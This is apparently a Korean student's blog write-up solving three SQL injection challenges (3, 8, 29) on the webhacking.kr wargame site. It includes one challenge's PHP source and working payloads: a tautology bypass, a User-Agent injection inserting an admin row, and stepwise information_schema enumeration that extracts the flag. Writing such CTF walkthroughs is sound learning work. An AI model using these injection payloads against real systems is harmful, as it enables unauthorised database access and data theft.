webhacking.kr 3번, 8번, 29번 풀이

julia·2021년 5월 5일
0

중간고사가 끝나고 웹해킹 사이트를 다시 열어보니 사이트가 리뉴얼되고 점수 배점도 낮아졌다는 걸 알게 되었다. 디자인이 더 멋있어지고 새로운 문제들도 점점 생기는 것 같아서 좋은데 문제 배점이 350점짜리가 35점이 되니 기분이 괜히.. 아쉽긴 했다ㅋㅋㅋ

💡 3번 문제 풀이

3번 문제를 들어가면 nonogram을 우선 풀도록 되어있다. 이게 해킹과 무슨 상관인진 잘 모르겠지만 재밌게 풀고 solved를 누르면 실제 문제 화면으로 넘어간다.

이름을 치라고 나오는데, 1을 일단 입력해보니
name : 1
answer : 1010100000011100101011111
이렇게 떴다.
뭔가 sql injection 같아서 name 입력칸에 별 공격을 다해봤는데 안되었다.
그래서 버프스위트를 켜서 인터셉트를 했고, 이 중 name이 아니라 answer 칸을 조작하면 되지 않을까 라는 생각이 들었다.

여기서 answer 옆에 ' or 1=1--(공백) 을 추가한 후 포워딩시키면 문제가 해결된다. 이번 문제는 필터링이라든지 다른 제약이 없어 비교적 간단히 해결되었다. 다만 뒤에 공백을 입력해줘야 한다는 것을 잊지 말고 삽질을 최소화하자!

💡 8번 문제 풀이

<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>

간략히 코드를 분석해보면, agent와 현재의 HTTP_USER_AGENT가 같은지 확인 후 ck에 넣는다.
ck[0]=="admin"일 경우 문제가 해결되고,
agent와 HTTP_USER_AGENT가 같지 않을 경우에는 agent, ip, guest 값을 넣어준다.

이전 문제와 마찬가지로 버프스위트로 인터셉트를 했고 여기서 User-Agent값을 변경해주었다.
agent값에 삽입되는 값이 밑의 볼드체 부분이다. 앞의 agent와 ip에는 아무값이나 넣어주고 꼭 id에 admin을 입력해주어야 admin값이 db에 저장된다.

values('julia','1','admin'),('a','{$ip}','guest')

위처럼 입력해줄 수 있고 아니면 julia','1','admin')#
이렇게도 할 수 있다. 여기서 주석을 -- 대신 #을 쓴 이유는 --뒤에는 공백이 꼭 필요한데, 이 문제에서는 trim을 이용해 공백을 제거해주고 있기 때문이다.

💡 29번 문제 풀이

29번 너무 헤맸다ㅜㅜ 아직 내가 경험치가 부족해서 문제를 딱 보고 어떤 부분을 조작해야할 지 판단이 잘 안서는 것 같다.. 그래서 인터넷을 참고해가며 해결했고, sql인젝션에 대해 새로운 개념들을 배웠다.

  1. 테스트 -> filename에서 타임, ip주소, 파일이름이 어떤 순서대로 삽입되어야 공격이 이루어지는지 알아내야 하기 때문에 테스트를 해본다. 이 문제에서는 파일이름, 타임, ip주소 순서였다.
    <구문>
    filename="test',1111,'ip주소')#

다음 단계들은 파일이름 자리에 쿼리를 삽입해 원하는 값들을 출력해주는 단계들이다.

  1. db이름 알아내기
    <구문>
    filename="test',1111,'ip주소'),((SELECT database()),1111,'ip주소')#"
    결과: chall29

  2. 테이블명 알아내기 -> 여기서 group_concat을 사용하는 이유는 테이블이 여러 개일 수 있기 때문이라고 한다. 실제로 이 문제에서는 files와 flag_congratz 두개의 테이블이 출력되었다.
    <구문>
    filename="test',1111,'ip주소'),((SELECT group_concat(TABLE_NAME) FROM information_schema.tables WHERE table_schema='chall29'),1111,'ip주소')#"
    결과: files,flag_congratz

  3. flag_congratz의 컬럼명 알아내기
    <구문>
    filename="test',1111,'ip주소'),((SELECT group_concat(COLUMN_NAME) FROM information_schema.columns WHERE table_name='flag_congratz'),1111,'ip주소')#"
    결과: flag

  4. flag의 컬럼값 알아내기
    <구문>
    filename="test',1111,'ip주소'),((SELECT flag FROM flag_congratz),1111,'ip주소')#"
    결과: FLAG{didYouFeelConfused?_sorry:)}

😎 느낀점

이번 문제들은 모두 sql injection 관련 문제들이었는데, 풀면서 정말 sql이 가장 기본이자 중요한 공격이라는 것을 새삼 알 수 있었다. 이렇게 많이 사용되는 공격인데도 내가 모르는 문법이 많고 어디서 어떻게 괄호를 끊어야 하며 어느 부분에 인젝션해야 하는지 아직 헤매는 나를 보며 많이 반성하게 되었다.
워게임을 풀면서 항상 느끼지만 내가 모르는 부분들을 확인하고 그때그때 찾아보며 메꿀 수 있다는게 문제풀이의 정말 큰 매력인 것 같다.

profile
Move Forward

0개의 댓글